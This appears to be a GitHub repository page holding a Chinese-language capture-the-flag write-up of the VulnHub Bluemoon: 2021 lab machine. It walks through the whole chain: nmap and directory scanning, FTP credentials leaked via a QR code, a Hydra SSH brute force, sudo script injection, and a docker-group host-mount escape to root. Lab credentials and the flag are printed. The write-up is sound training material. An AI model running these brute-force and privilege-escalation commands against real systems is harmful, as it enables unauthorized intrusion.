nuuawal005-bit/Bluemoon-2021
GitHub: nuuawal005-bit/Bluemoon-2021
一份针对 VulnHub Bluemoon: 2021 初级靶机的完整渗透测试 writeup,详细记录从信息收集到 Docker 提权的全链路攻击过程。
Stars: 0 | Forks: 0
## 简介
本报告展示了在 VulnHub 的 Bluemoon: 2021 虚拟机上进行的渗透测试练习的结果。此次测试使用 Kali Linux 作为攻击平台,旨在受控的网络安全学习环境中练习侦察、漏洞利用和权限提升技术。
## 机器详情
| 项目 | 描述 |
|------|-------------|
| 机器名称 | BlueMoon |
| 平台 | VulnHub |
| 难度 | 初级 (Beginner) |
| 类型 | Boot2Root |
| 目标 | 获取 root 权限 |
## 实验环境搭建
- 目标主机名:BlueMoon
- 目标 IP:192.168.56.101
- 操作系统:Debian GNU/Linux 10
- 攻击机:192.168.56.102
- 难度等级:初级 (Beginner)
- 目标:获取 root 权限并捕获 flag
# 1️ 侦察
- 运行 bash```netdiscover``` 以识别子网内的活动主机。
- 使用 bash```ifconfig``` 验证攻击者 IP。
```
Used nmap -sn 192.168.56.0/24
```
执行 ping 扫描并确认目标机器的存在。
# 2️ 服务枚举
使用以下命令进行详细扫描
```
nmap -sC -sV -Pn revealed:
```
- FTP (21/tcp) – vsftpd 3.0.3
- SSH (22/tcp) – OpenSSH 7.9p1
- HTTP (80/tcp) – Apache 2.4.38
# 3️ Web 探索
初始端口扫描显示目标在 80 端口运行 Apache web 服务器后,下一步逻辑是调查 web 应用程序中的隐藏内容和潜在入口点。此阶段专注于目录枚举和内容发现,这在渗透测试中至关重要,因为许多配置错误或遗留文件可能会泄露敏感信息。
- 使用的工具:bash```dirb``` 配合自定义字典进行目录暴力破解。
```
dirb http://192.168.56.105 ~/Desktop/wordlist.txt -X .php,.html,.txt
```
目的:这些工具可以自动化猜测 web 服务器上常见目录和文件名的过程。管理员经常会留下备份文件、测试脚本或未在主站链接的隐藏路径,但如果知道 URL,这些内容仍然可以访问。
方法:
- 通过 bash```gobuster``` 发现了 bash```/hidden_text```。
- 隐藏页面包含一个二维码图片。
- 解码该二维码泄露了 FTP 凭据:
```
userftp : fttp@ssword
```
# 4️ FTP 访问
在 Web 探索阶段发现有效的 FTP 凭据后,下一步是测试与 21 端口上运行的 FTP 服务的连接性。这一阶段至关重要,因为如果配置不当或认证机制薄弱,FTP 经常会暴露敏感文件
```
ftp 192.168.56.101
```
目的:
使用先前获得的凭据与目标的 FTP 服务器建立会话 bash```(userftp: fttp@ssword)。```
观察:
登录成功,确认泄露的凭据有效,并授予了对服务器文件系统的访问权限。
目录枚举
- 进入后,执行 bash```ls``` 命令列出可用文件。
- 发现了两个值得注意的文件
- bash```information.txt```
- bash```p_lists.txt```
- 这些文件似乎包含用户相关数据和潜在的密码线索。
文件获取
- 为了安全地分析文件,使用 bash```get``` 命令将其下载到攻击者的机器上:
```
get information.txt
get p_lists.txt
```
文件分析
- bash```information.txt:``` 包含一条提及名为 robin 用户的备注,并暗示了密码习惯较弱。
- bash```p_lists.txt:``` 提供了一个包含常见密码和 leetspeak 风格密码的自定义字典。这显然是用于暴力破解尝试的。
# 5️ 通过 SSH 获取用户 Shell
- 使用 Hydra 配合提供的字典对 SSH 进行暴力破解:
```
hydra -l robin -P p_lists.txt ssh://192.168.56.101
```
- 发现有效凭据:
robin : k4rv3ndh4nh4ck3r
- 成功登录
```
ssh robin@192.168.56.101.
```
# 6️ 权限提升
Robin → Jerry
- 利用具有 sudo 权限的 feedback.sh,注入 /bin/bash。
- 切换到用户 jerry。
- 使用 Python 升级 shell:
python3
```
-c 'import pty; pty.spawn("/bin/bash")'
```
- 发现 jerry 属于 docker 组。
Jerry → Root
- 验证 Docker 镜像可用。
- 在容器内挂载主机文件系统:
docker run
```
-v /:/mnt --rm -it alpine chroot /mnt sh
```
- 将权限提升至 root。
- 获取最终 flag:
```Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}```
标签:Bluemoon, Boot2Root, CTF学习, CTI, Debian, Dirb, Nmap, PE 加载器, PoC, SSH, VulnHub, Web安全, Writeup, 内存分配, 内网渗透, 协议分析, 大数据, 实战笔记, 密码管理, 提权, 插件系统, 数据统计, 暴力破解, 服务枚举, 本地模型, 权限提升, 目录扫描, 端口扫描, 网络安全, 网络安全审计, 蓝队分析, 虚拟驱动器, 请求拦截, 足迹分析, 逆向工具, 隐私保护, 靶机实战, 黑客入门